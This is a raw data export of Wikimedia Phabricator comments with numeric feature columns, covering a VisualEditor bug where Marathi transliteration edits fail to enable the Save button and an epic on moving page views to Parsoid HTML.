effectively we would not be able to save the change.

**Additional details : Problem was identified when we were trying to reproduce bug 53758, intution is it may be some how indirectly related to bug 53758


*Tested Browser and OS =Firefox+Win7

**Were enabled: VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
works normal)     

Steps to reproduce:
* Steps to reproduce:
1. Go to existing page with considerable Marathi Devnagari text may be like
URL

2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
enables VisualEditor
3. Click cog next to इतर भाषांमध्ये
4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण

5. Select any random  marathi word from existing paragraph text 

6.Make the changes in the word by changing alphabate but see that length of the word remains less after the change.
**Please note do not move arrow keys or spacebar

7 Save button does not apear

--------------------------
**Version**: unspecified
**Severity**: major"
239892,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"Based on your comments, I'm marking this as FIXED - please check, and reopen if it's not!",,,1381270319,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,14.0,14.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3181818181818183,0.9545454545454546,"Based on your comments, I'm marking this as FIXED - please check, and reopen if it's not!"
239884,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"(In reply to comment #4)

*This Test phase seems to have fixed problem on mediawiki.Tested at my user page on mediawiki at https://www.mediawiki.org/wiki/User:Mahitgar now works well


*Still to be fixed on rest of the wikis including mr wikipedia   https://mr.wikipedia.org/wiki/अभिमन्यु

Thanks and Regards

-Mahitgar",,,1379609001,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,18.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.727272727272727,0.8,"(In reply to comment #4)

*This Test phase seems to have fixed problem on mediawiki.Tested at my user page on mediawiki at URL now works well


*Still to be fixed on rest of the wikis including mr wikipedia   URL

Thanks and Regards

-Mahitgar"
239880,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378942957,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
239873,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"(In reply to comment #2)

Firefox version- 23.0.1 It gets automatically updated

Rgds",,,1378477476,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,11.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"(In reply to comment #2)

Firefox version- 23.0.1 It gets automatically updated

Rgds"
239865,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"(In reply to comment #0)
> *Tested Browser and OS =Firefox+Win7

Please always provide exact version info (your Firefox version).",,,1378373175,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.652173913043478,0.8695652173913043,"(In reply to comment #0)
QUOTE

Please always provide exact version info (your Firefox version)."
239859,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"Sorry 
*7 Save button does not get enabled",,,1378345999,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Sorry 
*7 Save button does not get enabled"
55784,[EPIC] Use Parsoid HTML for all page views,"In the mid to end 2021 timeframe, the Parsing Team is aiming to start migrating read views for Wikimedia wikis from the core parser to Parsoid.

https://www.mediawiki.org/wiki/Parsing/Parser_Unification is the wiki page for this project.

This is a tracking task for getting this done. Subtasks track the specific work for getting this done.",High,80.0,1378338120,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_description,open,True,c1,3,True,False,,9,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,4.033898305084746,0.6779661016949152,"In the mid to end 2021 timeframe, the Parsing Team is aiming to start migrating read views for Wikimedia wikis from the core parser to Parsoid.

URL is the wiki page for this project.

This is a tracking task for getting this done. Subtasks track the specific work for getting this done."
2143205,[EPIC] Use Parsoid HTML for all page views,"I'm removing #user-notice, as this task is too global. Specific tasks, with concrete actions, are more than welcome to be tagged for user announcements. ",,,1686825388,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,519,,0.0,0.0,0.0,3.0,0.0,15.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.909090909090909,0.8787878787878788,"I'm removing #user-notice, as this task is too global. Specific tasks, with concrete actions, are more than welcome to be tagged for user announcements. "
2110328,[EPIC] Use Parsoid HTML for all page views,"Change 910556 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
%%%[operations/mediawiki-config@master] Turn on experimental Parsoid Read Views support, except on commons & wikidata%%%
https://gerrit.wikimedia.org/r/910556",,,1682009947,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,511,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.3478260869565215,0.8478260869565217,"Change 910556 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
%%%[operations/mediawiki-config@master] Turn on experimental Parsoid Read Views support, except on commons & wikidata%%%
GERRIT_URL"
2110327,[EPIC] Use Parsoid HTML for all page views,"Change 910044 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
%%%[mediawiki/services/parsoid@master] Experimenally enable Parsoid Read Views with ?useparsoid=1 query string%%%
https://gerrit.wikimedia.org/r/910044",,,1682009851,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,511,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,28.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,23.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,4.558139534883721,0.8372093023255814,"Change 910044 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
%%%[mediawiki/services/parsoid@master] Experimenally enable Parsoid Read Views with ?useparsoid=1 query string%%%
GERRIT_URL"
1137547,[EPIC] Use Parsoid HTML for all page views,"This ultra-epic is the perfect example of a task appropriately in the category of ""general MediaWiki tasks"".",,,1536338087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,270,,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.8636363636363636,"This ultra-epic is the perfect example of a task appropriately in the category of ""general MediaWiki tasks""."
1100468,[EPIC] Use Parsoid HTML for all page views,Tagging this for the Web and Infrastructure teams.,,,1531152561,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,262,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.777777777777778,1.0,Tagging this for the Web and Infrastructure teams.
593537,[EPIC] Use Parsoid HTML for all page views,"Wikimedia Developer Summit 2016 ended two weeks ago. This task is still open. **If the session in this task took place**, please make sure 1) that the session Etherpad notes are linked from this task, 2) that followup tasks for any actions identified have been created and linked from this task, 3) to change the status of this task to ""resolved"". **If this session did not take place**, change the task status to ""declined"". **If this task** itself has become a well-defined action which **is not finished yet**, drag and drop this task into the ""Work continues after Summit"" column on the project workboard. Thank you for your help!",,,1453313802,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,133,,0.5,0.0,0.0,1.5,1.5,1.0,0.5,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,10.0,0.0,1.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.5,0.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,4.0,2.0,6.5,3.0,1.0,10.0,0.0,0.0,0.5,0.0,3.0,0.5,3.0,0.0,2.0,10.0,2.5,0.0,4.0,0.0,2.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,3.576360607182525,0.6732691595705295,"Wikimedia Developer Summit 2016 ended two weeks ago. This task is still open. **If the session in this task took place**, please make sure 1) that the session Etherpad notes are linked from this task, 2) that followup tasks for any actions identified have been created and linked from this task, 3) to change the status of this task to ""resolved"". **If this session did not take place**, change the task status to ""declined"". **If this task** itself has become a well-defined action which **is not finished yet**, drag and drop this task into the ""Work continues after Summit"" column on the project workboard. Thank you for your help!"
559176,[EPIC] Use Parsoid HTML for all page views,"Today is November 6, and this proposal is basically not on track. Unless the situation suddenly changes and/or @robla-wmf and the Architecture Committee really want to schedule it, it will be removed as a #Wikimedia-Developer-Summit-2016 proposal.",,,1446806999,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,2.0,6.0,8.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,8.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.520833333333333,0.7916666666666666,"Today is November 6, and this proposal is basically not on track. Unless the situation suddenly changes and/orSCREEN_NAME-wmf and the Architecture Committee really want to schedule it, it will be removed as a #Wikimedia-Developer-Summit-2016 proposal."
554085,[EPIC] Use Parsoid HTML for all page views,"@mobrovac: if you really think this should happen, you should drive it rather than delegate it to #ArchCom.  @gwicke //might// volunteer to take this on, but I'm not going to speak for him.",,,1446061348,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,121,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,15.0,18.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.05,0.775,"SCREEN_NAME: if you really think this should happen, you should drive it rather than delegate it to #ArchCom. SCREEN_NAME //might// volunteer to take this on, but I'm not going to speak for him."
553686,[EPIC] Use Parsoid HTML for all page views,"@Qgil, the reason is that this requires a wide cross-org consensus (and later work), so I'd say the ArchCom should drive this one.",,,1446031849,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,121,,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,10.0,3.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6774193548387095,0.9032258064516129,"SCREEN_NAME, the reason is that this requires a wide cross-org consensus (and later work), so I'd say the ArchCom should drive this one."
553681,[EPIC] Use Parsoid HTML for all page views,"With so many blocking/blocked tasks, no specific Summit plans specified in the description, and no assignee, it is difficult to evaluate whether this Summit proposal is On Track with ongoing discussion. Can someone step in as driver of the discussion and confirm the interest in getting a slot in the Summit schedule, please?",,,1446031440,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,121,,2.0,2.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,2.0,3.0,13.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,18.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.475409836065574,0.7540983606557377,"With so many blocking/blocked tasks, no specific Summit plans specified in the description, and no assignee, it is difficult to evaluate whether this Summit proposal is On Track with ongoing discussion. Can someone step in as driver of the discussion and confirm the interest in getting a slot in the Summit schedule, please?"
540638,[EPIC] Use Parsoid HTML for all page views,"Congratulations! This is one of the 52 proposals that made it through the first deadline of the #Wikimedia-Developer-Summit-2016  [[ https://www.mediawiki.org/wiki/Wikimedia_Developer_Summit_2016#Submissions_and_selection_process | selection process ]]. Please pay attention to the next one:  > By **6 Nov 2015**, all Summit proposals must have active discussions and a Summit plan documented in the description. Proposals not reaching this critical mass can continue at their own path out of the Summit.",,,1443905863,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,117,,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,15.0,0.0,1.0,12.0,0.0,0.0,1.0,1.0,3.0,1.0,8.0,0.0,2.0,10.0,9.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,4.011627906976744,0.7674418604651163,"Congratulations! This is one of the 52 proposals that made it through the first deadline of the #Wikimedia-Developer-Summit-2016  [[ URL | selection process ]]. Please pay attention to the next one:  > By **6 Nov 2015**, all Summit proposals must have active discussions and a Summit plan documented in the description. Proposals not reaching this critical mass can continue at their own path out of the Summit."
536650,[EPIC] Use Parsoid HTML for all page views,"FWIW, I did get some informal agreement that using Parsoid HTML for ""Printable page"" views was a reasonable thing to deploy on wikitech, as a first step.  I may try to write a standalone extension to do this.",,,1443474280,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,117,,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,13.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,13.0,7.0,0.0,4.0,0.0,4.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,3.8,0.8222222222222222,"FWIW, I did get some informal agreement that using Parsoid HTML for ""Printable page"" views was a reasonable thing to deploy on wikitech, as a first step.  I may try to write a standalone extension to do this."
418980,[EPIC] Use Parsoid HTML for all page views,">>! In T55784#1047315, @GWicke wrote:
> @jdforrester-wmf, is this really high priority for you right now right now? Should we prioritize intermediate steps higher?

It's not a Q3 urgency for VisualEditor, no.",,,1425275795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,33.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.9333333333333333,"QUOTE
QUOTE

It's not a Q3 urgency for VisualEditor, no."
413586,[EPIC] Use Parsoid HTML for all page views,"@jdforrester-wmf, is this really high priority for you right now right now? Should we prioritize intermediate steps higher?",,,1424285507,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,85,,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,9.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.565217391304348,0.8695652173913043,"SCREEN_NAME-wmf, is this really high priority for you right now right now? Should we prioritize intermediate steps higher?"
